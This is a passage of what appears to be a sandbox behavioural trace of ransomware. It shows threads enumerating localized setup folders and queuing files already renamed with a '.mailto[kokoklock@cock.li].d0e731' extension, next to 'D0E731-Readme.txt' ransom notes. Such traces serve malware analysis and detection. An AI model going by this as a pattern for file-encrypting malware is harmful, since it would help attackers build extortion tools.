_Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0165.316] wcscat (in: _Dest=0x2f6abf8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0165.316] wcscat (in: _Dest=0x2f6abf8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6abf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0165.665] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x83d138b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x144d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.665] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.665] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d560 [0165.665] wcscpy (in: _Dest=0x2f6d560, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0165.665] wcscat (in: _Dest=0x2f6d560, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0165.665] wcscat (in: _Dest=0x2f6d560, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0165.666] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.666] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.666] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.666] FindNextFileW (in: hFindFile=0x2fe3848, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.666] FindClose (in: hFindFile=0x2fe3848 | out: hFindFile=0x2fe3848) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe60) returned 1 [0165.666] RtlExitUserThread (Status=0x0) Thread: id = 1560 os_tid = 0xf3c [0165.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87308 [0165.316] wcscpy (in: _Dest=0x2f87308, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0165.316] wcscat (in: _Dest=0x2f87308, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0165.316] wcscat (in: _Dest=0x2f87308, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1037\\*") returned="C:\\588bce7c90097ed212\\1037\\*" [0165.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0165.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8405ac92, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8405ac92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3c48 [0165.318] wcscmp (_String1=".", _String2=".") returned 0 [0165.318] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8405ac92, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8405ac92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.318] wcscmp (_String1="..", _String2=".") returned 1 [0165.318] wcscmp (_String1="..", _String2="..") returned 0 [0165.318] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8405ac92, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8405ac92, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8405ac92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.319] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.319] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.319] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x8405ac92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.319] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.319] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f89320 [0165.319] wcscpy (in: _Dest=0x2f89320, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0165.319] wcscat (in: _Dest=0x2f89320, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0165.319] wcscat (in: _Dest=0x2f89320, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f89320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0165.661] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x82b31df3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11a4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.662] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.662] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d0c8 [0165.662] wcscpy (in: _Dest=0x2f6d0c8, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0165.662] wcscat (in: _Dest=0x2f6d0c8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0165.662] wcscat (in: _Dest=0x2f6d0c8, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0165.662] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.662] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.662] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.662] FindNextFileW (in: hFindFile=0x2fe3c48, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.663] FindClose (in: hFindFile=0x2fe3c48 | out: hFindFile=0x2fe3c48) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0165.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fd20) returned 1 [0165.663] RtlExitUserThread (Status=0x0) Thread: id = 1561 os_tid = 0xf40 [0165.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87620 [0165.319] wcscpy (in: _Dest=0x2f87620, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0165.319] wcscat (in: _Dest=0x2f87620, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0165.319] wcscat (in: _Dest=0x2f87620, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1038\\*") returned="C:\\588bce7c90097ed212\\1038\\*" [0165.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2d18 [0165.319] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840cd2fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840cd2fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3c88 [0165.321] wcscmp (_String1=".", _String2=".") returned 0 [0165.321] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x840cd2fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840cd2fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.321] wcscmp (_String1="..", _String2=".") returned 1 [0165.321] wcscmp (_String1="..", _String2="..") returned 0 [0165.321] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x840cd2fc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x840cd2fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x840cd2fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.321] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.321] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.321] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82ae59f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x115e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.321] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.321] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4850 [0165.321] wcscpy (in: _Dest=0x2fe4850, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0165.321] wcscat (in: _Dest=0x2fe4850, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0165.321] wcscat (in: _Dest=0x2fe4850, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0165.658] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x840cd2fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1526a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.658] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.658] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.658] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d020 [0165.658] wcscpy (in: _Dest=0x2f6d020, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0165.658] wcscat (in: _Dest=0x2f6d020, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0165.658] wcscat (in: _Dest=0x2f6d020, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0165.659] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.659] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.659] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.659] FindNextFileW (in: hFindFile=0x2fe3c88, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.659] FindClose (in: hFindFile=0x2fe3c88 | out: hFindFile=0x2fe3c88) returned 1 [0165.660] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d18) returned 1 [0165.660] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0165.660] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fc20) returned 1 [0165.660] RtlExitUserThread (Status=0x0) Thread: id = 1562 os_tid = 0xf44 [0165.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87668 [0165.322] wcscpy (in: _Dest=0x2f87668, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0165.322] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0165.322] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1040\\*") returned="C:\\588bce7c90097ed212\\1040\\*" [0165.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0165.322] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8424aa2f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8424aa2f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3f88 [0165.324] wcscmp (_String1=".", _String2=".") returned 0 [0165.324] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8424aa2f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8424aa2f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.324] wcscmp (_String1="..", _String2=".") returned 1 [0165.324] wcscmp (_String1="..", _String2="..") returned 0 [0165.324] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84224a05, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84224a05, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84224a05, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.324] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.324] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.324] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82a73281, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.324] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.324] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5430 [0165.324] wcscpy (in: _Dest=0x2fe5430, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0165.324] wcscat (in: _Dest=0x2fe5430, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0165.324] wcscat (in: _Dest=0x2fe5430, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0165.655] FindNextFileW (in: hFindFile=0x2fe3f88, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84224a05, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1397c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.655] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.655] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6cf78 [0165.655] wcscpy (in: _Dest=0x2f6cf78, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0165.655] wcscat (in: _Dest=0x2f6cf78, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0165.655] wcscat (in: _Dest=0x2f6cf78, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0165.656] FindNextFileW (in: hFindFile=0x2fe3f88, 